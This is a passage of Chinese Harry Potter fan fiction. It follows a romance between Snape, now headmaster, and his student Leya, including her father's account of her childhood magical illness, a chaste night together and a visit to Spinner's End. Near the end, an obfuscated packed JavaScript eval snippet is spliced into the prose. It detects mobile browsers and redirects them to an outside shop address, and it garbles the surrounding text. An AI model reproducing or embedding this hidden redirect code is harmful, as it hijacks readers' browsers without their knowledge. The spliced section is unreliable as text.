斯内普的眉间紧蹙,了然地问:“魔力暴走?”他当然知道蕾雅的魔法能力远在其他一般学生之上。 “是的,我想你也注意到了,丫头的魔力非常强大,但这并非什么好事。”雷格纳说,语调略微颤抖,“这个现象后来又发生了好几次。最厉害的一次是蕾雅刚过一岁的时候,因为无法控制过于这过于巨大的魔力,产生了严重的回噬现象。房子和物品的破坏先不说,她还生了一场大病,高热一周都没有退下去,真的把我和奥德莉亚吓坏了。” 他稍作停顿,嗓音更加沉重:“我那时不仅要安抚奥德莉亚,还得不停寻找降温和控制魔力的办法……最后尝试了很多办法都不管用,那段日子我也几乎不敢睡着,终日以泪洗面,害怕一旦闭上眼,蕾雅就会永远离开我了。” 离开。 光是依照雷格纳的话想下去,就让斯内普的眉心拧得更紧,他未曾想到会听见这样的过往——显然,蕾雅并没有关于这些事的记忆,不然他早已在摄神取念中看到。 “后来呢?”斯内普听见自己的声音也不由自主地紧张起来,“你找过邓布利多吗?我记得针对小巫师魔力暴走,有不少应对方法的。” “你说得对,但其实当时很多办法都还不成熟,这也是我后来加入神秘司的原因。”雷格纳的表情略显复杂,回到斯内普的问题:“而你一定记得,那个时候,1980年,邓布利多在忙什么?” 斯内普的瞳孔微微扩大,毫无犹豫地应道:“伏地魔。” 这种感觉很奇妙,因为1980年是哈利·波特出生的那年,是斯内普决心背叛伏地魔的那年,亦是莉莉死亡的同一年。 “不错,我当时连圣芒戈都不敢去,害怕伏地魔会对这个魔力强大的新生儿下手。”雷格纳苦笑一下,“但就在我万念俱灰,终于决心冒险去找邓布利多的那天早上,蕾雅奇迹般地好转了。也许是其中一个方法终于起效,又或许是梅林或者天父终于听见我的祷告吧……” 他揉了揉太阳穴,松一口气般继续道:“当然,我还是很害怕这种事会再次发生,所以我不断研究关于魔法暴走的抑制办法,有段时间,我甚至痛恨魔法……不过自那次之后,蕾雅就再也没有发生过类似情况,她像其他小巫师一样,直到四岁多才重新显露魔力,只是我发现那场病还是给她留下了后遗症。” 雷格纳讲到这里,斯内普终于明白,为什么蕾雅在使用神锋无影的时候会表现出截然不同的效果。他接过雷格纳的话:“我大概猜到是什么后遗症了。” “你很敏锐,西弗勒斯。”雷格纳点头,注视着斯内普毫不掩饰、同样稍带心疼的神情,“尽管大部分普通魔法不会显露异常,只是越是高级、精细的魔法就会表现得越明显。我后来又想寻找更好的办法,但似乎只能通过训练一点点改善,而我——”他攥紧酒杯,叹息一声:“我很害怕失去她,也再不想她再过多涉入魔法界,自然没有让她去进行那些练习。我本来的打算是她一从霍格沃茨毕业,就让奥德莉亚带她回到麻瓜世界,再也不要接触魔法。” “我明白。”斯内普垂下头,按捺住心里为这位父亲的深思熟虑而泛起的敬意。他很少会意识到这样一件事——原来父母可以从孩子一出生就谋划到成年。他顿了顿,不由自主地往下思索,猜想他的母亲艾琳是否也曾有为他做过这样的打算。 但仅仅须臾,他便掐断思绪,让酒液滑下喉咙,苦涩逐渐从舌尖飘荡开:“说实话,我没想到会是这样。我也没想到你会考虑这么多,最初我和其他人一样,认为你只是过分溺爱她。” “作为父母总是这样的。”雷格纳的面庞上勾勒出一抹温柔的笑,他想起蕾雅小时候的可爱模样,话语越发柔和:“她和奥德莉亚,是我在这个世界上唯一的亲人了。” 这又是斯内普不知道的情况,事实上他一直以为雷格纳跟蕾雅一样,是在幸福美满的环境下成长起来的。 “是的,除了奥德莉亚,我从未跟别人提起,甚至蕾雅也没有。”雷格纳感受到斯内普眼里的讶异,接着说:“我没有关于我的父母的记忆,是由我的叔叔抚养长大的,但他早早就折断了魔杖,他的妻子是麻瓜,孩子也没有显现出魔力。虽然叔叔对我很好,但他的家人由始至终都不太喜欢我。而就在我从霍格沃茨毕业不久,叔叔便去世了。” 原来遗憾的故事在魔法界并不罕见,这么一想,雷格纳的这番经历倒跟哈利·波特,亦或是斯内普本人都并没有多大的区别。 斯内普不清楚这个时候该说些什么,只好默默地再次与雷格纳碰杯,顺手挑起一块肉干。 “我曾经很孤独,有段时间还很怨恨为什么我的父母会将我带来这个世界,然后又离开我。”雷格纳喝完酒,沉默片刻,而后慢慢地、好像在诉说心声:“直到我遇到了奥德莉亚,直到我有了蕾雅。我才终于开始感激我的父母——感谢他们,让我有机会组建一个真正属于我的,安全温暖的家。” 属于我的家。 斯内普再度因雷格纳的话而怔愣住,有什么莫名的东西在这时一同坠入了心海,穿过层层的水幕,一直落到海底深处的黑洞,往下,往下——直至敲出一声着陆的脆响。 黑发巫师回过神来,却想不起眼角到底是什么时候、为什么而湿润的,只能执拗地偏头去眺望天边的星辰,决定不让这位年长又心细的男巫看到。他低哼着咽下口中的零食,远眺的眼神追随那颗夜空中透亮的星星,一口喝尽余下的酒。 “我不清楚你的经历,但很清楚你大概不会想对我说。”雷格纳的脸色愈发平和,他凝视着两人空空的酒杯,趁着酒意带来的温热,感慨道:“但至少,你的父母把你带到这个世界,并且赋予了你如此卓越的才华。虽然我还是很不舍得,但我确实很欣慰她选择了你,也很感谢你没有让她伤心。说实话,我后来放心她参与战争,其实都是因为有你在。” “不,是我想谢谢你告诉我这些。”斯内普听见自己从喉中滚出的音调仍带有一丝哽咽,但他清楚雷格纳不会拆穿他:“雷格纳,我不是一个善于表达感情的人,但今后——” 金发副司长举起手捏了捏斯内普的肩膀,用一种谦和的语气抢过话:“好了,西弗勒斯,我不需要你的承诺。我知道你会珍惜她,也会守护她,就像我对奥德莉亚那样。” “以我的生命。” 斯内普几乎脱口而出。 “不要总是说这么沉重的话。”雷格纳轻拍着男巫,笑得更畅然,脸上的皱纹都弯成欣然的弧度:“我只要你下次跟她一起回来吃饭,奥德莉亚也很想见见你。” …… 蕾雅洗了个舒适的热水澡,还对布莱克家挑选的沐浴露香气颇感欣赏。她心情愉快地回到房间,却意外地发现原本应该是金妮的位置上坐着罗恩。 “金妮呢?”她擦过头发,施了个烘干咒。 “她说想在回家前多跟哈利待一会儿。”罗恩还在摆弄从楼下拿上来的大富翁棋子,“所 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“当然,我的小姐。”蕾雅轻笑着轻晃魔杖,一本空笔记本和一支圆珠笔就飞到赫敏手边。罗恩整齐地收起游戏盘,挨着赫敏坐在床边,手很自然地搭在赫敏的肩侧,与她讨论起来。 蕾雅端详两人片刻,突然觉得也许应该给他们一些私人时间——心里这么想着,她就给在楼下又在熬狼毒药剂的某位男巫传去消息: 「我能来找你吗?」 「想做什么?」 「想你」她回得毫不犹豫。 斯内普的回复倒是花了一些时间:「记得穿鞋子」 看到这句话,蕾雅忍不住翘起唇角,回想起那年圣诞节的事。她翻找出一本之前斯内普推荐的历史小说,转头对床边的两个人说:“那我也不打扰你们俩,我去楼下找他复习。” “复习?”赫敏瞬间错愕地抬起头,旋即扬起眉毛,面上绽开一个洞穿一切的表情:“哦——好吧,等金妮回来了我用守护神告诉你?” “注意安全,伙计。”罗恩调侃着挥了挥手。 “罗恩!”蕾雅拿起一个抱枕轻轻扔向他,顺带“误伤”到他身边捂着嘴笑得肆意的赫敏。 走廊的灯光昏黄而轻柔,她拢着罩衫,蹑手蹑脚地绕过还有人走动的空间,心里还盘算要是在途中撞见人了,就说要去厨房倒牛奶。不过,她谁也没碰到,安然无恙地来到一扇虚掩的门前,从门后飘到她鼻端的,是熟悉的狼毒花淡香。 斯内普已然完成药剂了,他正坐在壁炉旁的古典沙发上,手里捧着新一期的《炼金术士》。他肯定也是沐浴过,穿着一套她从来没有见过的灰色睡衣,半长的黑发还沾着潮意。窗外透进的月浅薄色披在他的身侧,是一层柔美的银白,给他平添了几分慵懒,这是她不曾见过的斯内普的样子。 “来了?”斯内普从书中抬起头,望着蕾雅关紧房门锁上,然后踢着拖鞋走过来。不过他只看了她一秒就迅速移开视线,因为她身上那件纯白的背心睡裙和同样单薄的针织罩衫,正被屋内的灯光映出的一片朦胧的轮廓。 他哽了哽喉咙,视野不自觉地捕捉到那如涟漪般蹭着她小腿的花边裙摆,轻柔曳动的纺织物恰恰恍若他此刻的心,摇摇欲坠。 看来,今夜注定是一场煎熬而又漫长的挑战,他忽然后知后觉地有些后悔同意她过来。 她停在他的跟前,全然没有察觉到他稍有拘谨的呼吸,轻快地问他:“卢平教授喝完药剂了?” “嗯。”斯内普至少很庆幸,他的声音听起来和平日并无两样。 “我可以在你这里待一会儿吗?金妮去哈利房间呆着了,我的房里剩下赫敏和罗恩。”蕾雅尝试为当下的状况进行一番解释,“他们说等金妮回来了会用守护神叫我回去。” “坐吧。”斯内普往沙发的边缘挪了挪。 她坐在他旁边,像只温顺的猫咪般靠在他的肩上,闻到他身上药草和布莱克家沐浴露的混合香气:“你在看什么?” “炼金术士。”斯内普竭力把注意力集中在书中文字,低沉地开口:“今天这本杂志的编辑给我来了信,邀请我写一篇我们搜集过的那些魔药材料的文章。我在想,你有没有兴趣?” “当然有。”蕾雅摊开历史小说,抽出绣球花形状的黄铜书签,夹在往后的书页间,又说:“而且,校长一个人肯定忙不过来,对吧?” 斯内普低低地笑了,闭了闭眼,垂下杂志,侧眸瞥见那被淡粉染色的小脸,还有那如羽翼般微颤的眼睫。他最终还是没能抗拒,缓缓地用一只手将她紧紧环入怀中,让她贴着他的左胸:“你呢,在看什么?” “你之前给我的。”蕾雅感受着他隔着睡衣传来的体温,不禁再往他的方向蹭了蹭。见他挑着眉将杂志放到边桌上,大手不经意擦过她的耳侧,抽走她的书,自顾自地翻到前面的章节看她做下的笔记。 她脱掉拖鞋,把腿并拢着放到沙发上,在他的胸前找到一个舒适的角度,“你今晚跟爸爸在外面都聊了什么,这么久?” “就是你猜的那样。”斯内普快速翻阅着书页。 “爸爸真的同意了?”蕾雅回想起父亲离开的时候那复杂神情,似是欲言又止,又似是坦然欣慰。 “看来我在你父亲心中的形象还不错,”斯内普半有讥嘲地试探她:“如果他不同意,你会顺从?” “那肯定不会。”蕾雅斩钉截铁道,她皱了皱鼻子,手自然地搭在他的腰间,揽住他:“我这么难才让你承认爱我。” 斯内普翻着书,没有说话,只是低头吻在她的发顶上,算是回应。 “西弗勒斯,那你假期有什么打算呢?”她想了想,撇开话题。 “如果没有特别的事,我会在家待几天。” “那……”她眼睛一转,绿眸透出些期待和请求:“我可不可以……” “你想什么时候来?”他直接地问,然后补充,“先告诉你,那是我父母的老房子。我建议你别对它抱有太大期望。” 想起蜘蛛尾巷的荒芜和苍凉,他其实是曾有一刻犹豫过该不该让她看见的——但是,他再也不想对她隐藏任何事了,尤其是在听完雷格纳那些话以后。 “无论它是什么样,那都是你的家,”她浅笑着,用手指抚触他瘦削的髋骨,“你什么时候方便?” “只要你想,都可以。”他默默承受着由她触碰带来的痒意,轻轻回答。 “那我明天就去!”她干脆地提议道,“等送赫敏和罗恩走后,我就和你一起回家。” 回家——这两个字从她口中说出时清晰又悦耳。 斯内普稳住情绪,故作镇定地轻咳一声,将手中的书摆到她眼前,回到她刚读的那一页:“嗯,那就明天。”她满意地笑开。 窗外的明月静悄悄地往西挪动。两个人浸在月光和安然的氛围里,没有再说话,而是一起读起书。 他用右手支撑着书,有时候书翻得过快,她会提示性地轻哼,伸出一根手指按住他的手腕。在等待她完成阅读的时间里,他会轻柔地顺着她的长发,或者不紧不慢地揉搓她的耳朵和面颊,直到她再度发出被干扰而轻微不悦的抗议声。 这种氛围过于美好和安稳,就像是两人被隔离在喧闹的世界之外,连时间也抛下他们放慢了流速。不知什么时候,斯内普注意到蕾雅的呼吸逐渐变得平稳,是她在他的怀里酣然地沉睡过去。 他的嘴角不自觉地勾起,放下书,活动一下酸疼的手臂。随后替她拢好滑落到肩头的罩衫,又挥了挥手边的魔杖,让沙发上搭着的毛毯在她上方展开,轻轻落下。 左手臂渐渐收紧一些,他将头靠在她的头顶,右手则握紧她落在他腿上的手。他合上眼睛,感觉好像经历长途航行的船只终于找到停靠港湾,在年经日久积攒的疲惫中寻得难以言说的安宁。 就在斯内普也快要坠入梦乡的一刻,赫敏的水獭守护神从窗外跃进来。男巫睁开眼,没有任何迟疑,立即在她的四周布下闭耳塞听咒,召唤出自己的守护神回应到:“格兰杰小姐、韦斯莱小姐,我不明白你们在干什么花费了这么多时间。她已经等得睡着了,我会到清晨再叫醒她回去。” 之后,他想了想,还是决定轻轻将她抱起来,放在四柱床上。 蕾雅感觉在模糊的梦海中浮潜得很不安稳,睁开眼却见到他垂落的黑发。她迷糊地唤他:“……西弗?” “抱歉,弄醒你了?”斯内普拎起羽毛被盖在她身上,语气温柔又耐心:“我刚跟格兰杰说过了,你就睡在这里吧。” “嗯。”她没有来得及吃惊,就沿着他的动作揪住他的睡衣袖口,暗示性地瞄向旁边的空位:“那你不睡吗?” 斯内普因此而肩膀一抖,没有立即回答,而是忙着替她整理好被子。面对她睁得圆圆的困惑绿眸,他叹了口气,拨开她的额发,俯下身压低声缓缓道:“蕾雅,别挑战我的忍耐。”说着,他在她额上印下一吻,继而在她耳边低语:“至少在你还是我学生的时候,我不能。” 他很明白,一旦跨越界限,打破现在的平衡,他定会想要更多——裕//望永无休止,长期以来的压抑自我终会反噬,且他已在她身上尝到过放纵的甜蜜。 蕾雅揉了揉眼睛,半坐起来,很快就在斯内普的黑色瞳仁里看到无法掩饰的火花,它们闪烁着,忽明忽暗,却焚得炽烈。再仔细听去,他的嗓音微哑,心脏在砰砰作响,都在表明他口中皆是实话。 嗯,原来是这样。她不自觉地泛起笑意,渐渐沉淀成脸上的潮红。她拉过男人的手腕,双唇落在指腹,舌//尖轻抵,烙下一片温热。而后,她蓦地推开他,利索地脱下罩衫放在枕头边,迅速躺下并翻了个身,背对他抱着被子蜷起来,依然宛若一只猫——一只恶作剧后故意保持距离的猫咪。 “晚安,西弗。”狡黠的小猫发出一声轻啼。 斯内普的眼睛稍稍眯起,喉结翻动数次,感觉呼吸都要不受控制地变得更重。 片刻,他好不容易平复,但被她亲吻过的地方还停着她的温度,像是被火燎过,久久散不去。垂下眼眸,眼前人的乌发和背心带子正从肩上滑落,露出一大片浅白。 他用力地压下唇角,最终略带踌躇地探出手,顺好那柔滑的发丝,指尖擦过她左肩的伤痕,继而够到被她攥紧的羽毛薄被,扯高,将她一整个裹在里面,捂得严严实实。 再然后,他转身熄灭房里大部分的灯,只余下沙发边桌上的一盏昏光。琥珀色的光晕沿着桌脚散落一地,就像是今夜那杯纯正温和的良酒。 他独自饮下这种炽灼的醇香,不明不白地咕哝一句:“晚安,我记下了。” 她在被窝里闷笑一下,温婉地答:“你知道我爱你。” 后来,男人回到沙发上,替自己覆上她刚刚盖过的毛毯,再度捧起那本杂志,在被她的气息困扰中一夜沉浮。 74.回家 天边渐渐微明,第一缕晨光静悄悄地越过地平线,穿透云层,翻过山脊,携着昨夜微醺的酒气和清早薄雾特有的迷蒙清新一同润泽这栋老宅。即将凋谢的月见草在这尚未褪去的婴儿蓝微光中收起浅色花瓣,轻轻抖落的晨露滴落地面,没一会儿就化作这清晨微凉的一分子。 沙发上的斯内普眉心微动,在感知到依然缭绕着混沌的意识的同一时刻,也嗅到一股不属于自己的香气。是一种令他安神的淡雅和煦。 在感知到这件事的瞬间,他睁开眼睛,即刻看到一个倚靠在沙发前的小脑袋。她正抱着一个枕头坐在他的跟前,枕头上面搁着那本小说,被从窗侧透入的朦胧稀光映亮一角。 他迅速整理起关于昨夜的所有思绪,舔了舔睡得干燥的嘴唇,手指在内心的促动下径直往前,拨开她脖间的长发,凑近,吻住自昨晚以来一直引诱着他的浅白。 “嗯——西弗!”她被突如其来的温热感惊得抽着气颤动一下,很快放下手里的东西转向他,对他牵起暖笑:“你醒了?早安。” “早。”斯内普调整姿势,心中涌起陌生的感觉,因为他从来没试过醒来时有任何人在身边。即使是艾琳,在他记事以后也总是在忙碌早餐或者各种繁琐的家务,从不等他起床。 此时,他定定地注视这双溢满深爱的眼眸,突然感到醒在她身侧的这件事竟是宛如春日温暖那样的美好。他沉浸其中,眼中很快再次悄然燃起昨夜的温火,心里也还对刚刚唇边尝到的细腻感到意犹未尽。 他的理智最终占得上风,忍下任何不该有的冲动,虽然声音仍有喑哑:“你怎么这么早醒了?” “可能有点认床?但我睡得很好。”蕾雅探出手,整理过眼前人的黑发,指腹划过他的脸庞,最后停在他新长出的胡龇。她没忍住,又再度缓慢地摸了摸,才轻笑着说:“抱歉,让你睡了一晚沙发。” “不必道歉。”他坐直,拉起她的手让她也坐到沙发上。在她手里的书本和枕头随着他们动作滚落一侧的间隙,他将她背对着按到自己怀里,贪恋般把依然困倦的头抵在她的肩颈,若无其事道:“这种日子不会还有很久了,希望你到时候不会后悔。” 两人仅仅隔着轻薄的睡衣,他炽热的体温和胸膛的搏动都清楚明晰地传递给她。蕾雅感受一阵这种他生命力的象征,随后回握住环在腰间的大手,温柔地呢喃:“才不会呢,你都不知道我有多想。” 她话音刚落的片刻,斯内普的手臂木然地僵硬一瞬。顷刻间,那晚她用手环传送给他的讯息不合时地在他脑中浮现出来:「我已经迫不及待,想要跟你真正地在一起」。 他只庆幸她没有在昨晚或者现在亲口对他说出这句话,否则,他真的不确定自己是否能继续克制。毕竟,不论他有多么强大的自制力,他终究也是一个正常的——嗯,男人。 斯内普清了清喉咙,平复了呼吸。他的视线定格在她脚侧的地毯上,而后缓缓放开她,掀起盖在身上的毯子,轻声道:“你该回去了。”却不知,他口中的不诚实和身体的诚实,都早已被她全然洞穿,一如既往地。 现在还太早,蕾雅不想吵醒金妮和赫敏,所以决定先不回房间。在门外等待斯内普换过衣服后,他们直接来到厨房,准备煮早晨的第一壶咖啡。 整座布莱克老宅仍沉睡在寂静,没有亮起任何灯光。斯内普推开厨房的窗户,盎然的植物气息和熹微的阳光迫不及待地挤进来。回过头,蕾雅正有条不紊地往湿润的褐色滤纸倒入研磨好的咖啡粉,轻敲着滤杯让粉末布置均匀。随着细流注下的热水,浓郁的咖啡香气携带着坚果与焦糖的甜味从壶中四散窜出,盈满一室。 斯内普端详着她熟练的动作,忽而反应过来为什么这家伙的魔药操作如此精细。他接过蕾雅递来的黑咖啡,又看她悠然地向她那杯加入牛奶,双手端着抿一口,满意地点头。他也低头轻抿一口,不清楚为什么,感觉这比霍格沃茨小精灵们准备的咖啡要美味不少,就连因为在沙发上睡觉而带来的疲惫感也被驱散殆尽。 然而,他们还没喝完一半咖啡,厨房的门突然被推开,瞬间打破室内持续长久的安然。斯内普皱着眉偏过脸,正正与睡眼惺忪的唐克斯对上视线,后者硬是愣住好几秒,在注意到男巫身旁的格兰芬多学生那刻,惊讶到连头发都褪去颜色。 “哎,我刚还跟莱米打赌,是谁一大早在这煮咖啡呢。”到底是一位经验日渐丰富的傲罗,唐克斯迅速反应过来,立刻露出一个调侃的表情,“这不是,我们尊敬的校长先生嘛。” 蕾雅有些手足无措地杵在那里,大片如朝霞般的红灿涌上脸庞,“……早,唐克斯,要来点咖啡吗?”她边说边转身,准备再泡一壶。 “我自己来就好,蕾雅,我还要泡莱米的那份呢。”唐克斯大笑一声摆手,接着打趣:“没想到啊,我真没想到。他们说的竟然都是真的。”她径自嘟哝着,给斯内普投去一个十分不怀好意的眼色,发色也同时配合地幻成欣喜的粉红。 斯内普的眉心拧得更紧,但唐克斯并没有给他任何反驳的机会,继续说:“哎,别担心,我不会告诉别人的。但是嘛——凤凰社的人也不是傻子,对吧?昨晚你和副司长出去后,我们就在猜原因了。”她调皮地眨眨眼,故意拖长着话语的音调,显得更加戏谑:“虽然——大家是都很吃惊,特别是西里斯,疯狂拉着阿不思说不可能一定是搞错了——但你也知道,阿不思的口风时严时不严的。”她装作惊讶又自我肯定地点头,不忘补上一句:“对了,昨晚那只鹫鹰是你的新守护神吗?真是出乎我的预料。” 布莱克!邓布利多!还有守护神! 斯内普越听越生气,脸色降到零度般灰白,方才美味的咖啡也好像混入些许苦涩。 他当然明白唐克斯这一连串的话绝对是故意的,为的是他曾在一年多以前嘲笑过她的新守护神。(1) 到底是怎么暴露的?先不说嗅觉敏锐的卢平和心思缜密的雷格纳,但其他人呢?他表现得已有这么明显了吗?他试图翻动脑中记忆的各个角落,却好像找不到任何能回答这个问题的线索。 收回徒劳的思绪,黑发男巫没有任何打算理会唐克斯挑衅的意思,只是淡漠地扫一眼旁边红透脸的蕾雅。感觉到他的注视,蕾雅也侧过头回望他一眼,准备假装无事发生、继续安静地喝咖啡,却无辜地被热情上前的唐克斯揽住。 红发傲罗将格兰芬多女孩环在一角,压低声劝诫道:“蕾雅听着,这家伙可不是什么好人,要是他对你做什么不客气的事,一定要告诉我们。” “啊……嗯。”蕾雅不知如何回应,只能勉强保持笑容,稳住手中的咖啡。 唐克斯并不打算就此作罢,继而凑在她的耳边,故意用斯内普恰好能听见的音量,夸大语气道:“我得告诉你,上次他可真的过分了……等等,不对,你昨晚睡在哪里了?他没对你做什么吧?——快让我看看。”她说着便敛起脸色,开始上下其手地检查蕾雅,生怕在女孩身上寻得任何斯内普留下的痕迹。 “呃?——哇!唐克斯,别摸了呀!好痒!”蕾雅惊呼着躲闪唐克斯的手,尽管如此,她还是被触碰得痒到极点,笑得泪水都从眼角渗出。她好不容易端紧几近欲洒的咖啡,连忙从唐克斯的怀里传出求救的眼神,望向站在一旁的男人。 “尼法朵拉,你的关心可真令人感激呐,”斯内普终于打破沉默,冷冷地打断唐克斯的动作。他伸手接过蕾雅的咖啡杯放在一侧,随后毫不客气地将本该属于他的人从唐克斯的怀抱拉出来。目见她被唐克斯惹得一路蔓延到脖颈的绯红,他的脸色愈发宛如浸透禁林的晦暗般阴森骇人,目光充满尖锐和告诫:“但这并不是你需要关心的事。” “嚯——没想到,你竟然还是会护另一半的类型啊!我怎么从来都不知道?”唐克斯根本不在意斯内普的反应,笑得更加肆无忌惮,连斯内普直呼她名字都没放在心上。她那一头变成大红的发色显然反映出她的兴奋心情,尤其是当卢平抱着泰迪走进厨房,同时撞到正扣着蕾雅手腕的斯内普,她的笑容和发色更是一起灿烂几分。 两位男巫面面相觑一刻,斯内普扯动嘴角强作镇定,铁青着脸将蕾雅耸到身后。平日锐利的黑眸此刻锋利到能割裂空气,想立即就将这对夫妻在布莱克家处//刑。 “哦,西弗勒斯,蕾雅!原来真的是我们猜测的那样?”卢平震惊地看了看斯内普,看了看笑颜如花的唐克斯,又看了看面色如唐克斯头发那样红的蕾雅,后知后觉地露出暗示性微笑,自顾自地说下去:“这么说来,蕾雅好像确实一直待在你身边,还有狼毒药剂……难道说!”男巫顺延思索的绳梯一路攀爬,突然暂停,而后恍然大悟地感叹:“难怪啊!难怪上次西里斯要……” “闭嘴,莱姆斯,别表现得像个惊慌失措的一年级学生。”斯内普再次冷硬尖刻地切断话语。他松开蕾雅,抬手紧紧按在眉间,不耐烦到想马上给这栋房子施展一道烈火咒。 恍惚的蕾雅决定还是不要参与在这混乱里。她重新拿起被他撂在料理台上的咖啡,用手背给烫得发疼的脸降温,垂下手时顺带掠过斯内普的小拇指,好像想要安抚他。 斯内普叹一口气,用抱歉的神情看向身边人,忽然意识过来从今天起,他在凤凰社的一贯形象就要翻天覆地。 卢平和唐克斯饶有兴致挨在一起,靠到厨房另一侧的备餐台上边泡咖啡边欣慰地观察着两人,这种温馨和幸福感是那样的熟悉,好像是看到曾经的他们。想到这里,浅棕发男巫忍不住拥抱他的妻子,在她额上一吻,臂膀里的泰迪适时地发出清脆的嬉笑声,给整个本是怪异的场景增添一点可爱气氛。 这个清晨的闹剧最终还是唤醒了整个布莱克家,短时间内,餐厅又挤满留下过夜的人。这热闹程度丝毫不亚于昨日,直到斯内普真的快要按捺不住怒气拿出魔杖威胁才结束。他发誓,有那么一瞬,他真的想直接带着她幻影移形逃离此地的喧哗,确切的。 也直到吃过早餐,回房间换上衣服重新收好行李,蕾雅才从早上那场闹剧缓过神。与送金妮返回陋居的哈利和外出购物的布莱克作别,她和赫敏罗恩一起提着箱子重新返回客厅。在那里,斯内普背对着屋内矗立在窗边。 他没有穿外袍,但一身黑色依然和亮色的光芒形成鲜明对比。然而,比这格格不入的还有另外一样东西——莱恩哈特家的白脸角鸮停在他的右手侧,亲昵地啄食男巫掌心的肉干,是他从布莱克家橱柜中翻出的、昨夜剩下的零食。 虽然是假日,也虽然是好友的爱人,但赫敏和罗恩依旧有礼地打了个招呼:“斯内普校长,早上好。”不敢对这位校长有任何的怠慢。 斯内普没有转身,侧头微微抬起下颚当做回应,随即冷淡地用另一只手指了指茶几:“莱恩哈特副司长给你们寄来的东西。” “啊,原来棉花糖是你喂胖的!”走在前面的蕾雅略带指责地嘟哝着,走近茶几见到一封给她的信和被仔细包裹起来的邮件,她将邮件递给身后的赫敏,继而对斯内普说:“我说呢,棉花糖这一年来怎么长得这么圆滚滚。” 斯内普决定不予置评,淡淡地瞥向几只格兰芬多狮子,指尖保持着轻抚白脸角鸮绒毛的动作,没好气地扬起一边眉毛:“你给它起名叫棉花糖?” 梅林晓得,在他们后面目睹这场诡异对话的罗恩和赫敏忍笑忍得有多么辛苦。罗恩几乎屏住了呼吸,注意力只得全压在赫敏刚拆封的、用于寻找她父母的魔法工具上。随着邮件一同到来的,还有副司长非常详尽细致的使用说明,赫敏一字不漏地阅读着。 “怎么?”蕾雅倒是毫不在意地笑了笑,不紧不慢地踱到斯内普旁边,拆开父亲给她的信:“原来你的猫头鹰没有名字吗?”她想起那只深灰色的长耳鸮。 “难道,我看起来会像是给猫头鹰取名字的人?”斯内普不冷不热地回答,丝毫没有在意茶几上默不作声地见证两人互动的另外两人。 还挺像的其实,就冲会把猫头鹰喂得胖胖这点。 蕾雅回头与抬眸的赫敏对上一个会心的眼神,两个小女巫都露出欢快的笑意,只有感到惊悚的罗恩还在适应如此温和的斯内普。 “那,既然你不乐意给他取名字,我就决定它叫蒙布朗了。”蕾雅眼睛一转,低声宣布道。见斯内普没有任何拒绝或者评价的意思,她沉落在被他纵容的满意里,端正地在他眼底摊开那份信件。 日光柔和地落在信纸上,一片恰到好处的金黄。斯内普快速读信,原来是雷格纳问他愿不愿意参与今晚的晚餐。他回想起昨夜与副司长的真切对话,稍微顿住身形,然后用很轻的幅度颔首。他将剩下的肉干塞给她去喂,拿走原在她手中的信纸和笔,给雷格纳回复一封感谢的信。 等到棉花糖吃完所有的肉干,他们让它衔着回信返程,目送它消失在庭院外的空中。 “好了。”斯内普回过身,面向在茶几另一头的两人,嗓音平和却透着不可置疑的严肃:“格兰杰,韦斯莱。在澳大利亚如果遇到任何特殊情况,不要犹豫,立即与我、副司长或她取得联系。听明白了吗?且让我最后提醒你们,有些食死徒仍在外逃亡,我不希望霍格沃茨的学生卷入任何麻烦。” “明、明白!”罗恩郑重地回答,从未觉得斯内普的话如此动听过。 “替我们谢谢莱恩哈特先生。”赫敏站起身,感激地与蕾雅交换一个牢牢的拥抱,“我感觉一定能找到他们。” “一路平安,祝好运。”蕾雅轻拍赫敏的背,再淘气地望向罗恩,将昨夜的玩笑还给他:“还有,要注意安全!” …… 送走罗恩和赫敏,斯内普一刻也没有停留,环过蕾雅的肩膀幻影移形到科克沃斯镇中心,准备兑现和她一起回蜘蛛尾巷的承诺。 路上的房屋都是统一到单调的灰砖或者红砖,没有任何过多的装潢。道路上的美化装饰也很少,几乎没有绿植,倒是有过分多的酒馆招牌矗立在道路两侧,被霓虹灯框起来的灰蒙橱窗里,攒动着多是身穿蓝色或者灰白工服的人们。扭过头朝向另一边,街道的背面是一条灰黑到如同泥浆的浓稠的河,往水流上游的方向望去,隐约可见仍吞吐着烟雾的高烟囱,是一座座四方的工厂。 “就像我昨晚说的,现在后悔回去还来得及。”斯内普缓声说,仔细观察着她看到这些景物后的反应,害怕从她的眼里察觉到哪怕一点细小的不安。他哽了哽发紧的喉咙,补充:“而且,这是镇中心,我家比这里更糟糕。” 蕾雅却只是好奇地观察这座陌生的工业城镇,眼睛翠绿而澄澈,她从来没有到过像这样的地方。她坚定地摇了摇头,挽起男巫的手臂,两人就宛如是一对普通的情侣行走在街巷中。“就像我昨晚说的,无论它是什么样,都是你的家,西弗勒斯。”她笃定地看他,“你总有一天要带我来的。” 确实如此。斯内普闭了闭眼,已然决定抛下最后仅存心中的一丝忐忑、伪装、和拘谨。 “我们先去买点东西。”他平静地开口,“家里确实需要更新一些物品,如果路上有你喜欢的,我们可以顺道午餐。” “好的。”她乖巧地答,声音中带有坠入爱河时纯粹的天真。她顺着他的话开起玩笑,想要缓和气氛:“更新物品需要我帮忙吗?” “不然你以为我为什么同意今天带你来?”斯内普挑起眉毛,话语翻起一点轻微的嘲意:“家里还需要清扫,毕竟我近一年没有回来过。” “天哪。”蕾雅故意没有以梅林做感叹,因为他们身处一个麻瓜街区。她捏了捏他的手掌,鼓起嘴惊叹:“原来你都计算好了,这都是陷阱!” 他似乎并不打算就此放过她,“哦,你要回去?”他问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345365|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “打扫就打扫,反正可以用魔咒!”她当然也不会退缩。 斯内普领着她穿过笔直到单调的街道,不时回应她的提问分享他小时候的稀松片段。比如说和朋友(大概是莉莉,或许还有佩妮,蕾雅没有问)第一次偷偷溜到镇上,在广场看见圣诞节和万圣节的布置的惊喜,又一起发现一家由巫师经营的店铺的激动。又或者是,经济景气的那一年,父亲大发善心带他和艾琳来跨年的回忆(大概后面还有托比亚在酒馆喝到流连忘返的事,蕾雅也没有问)。 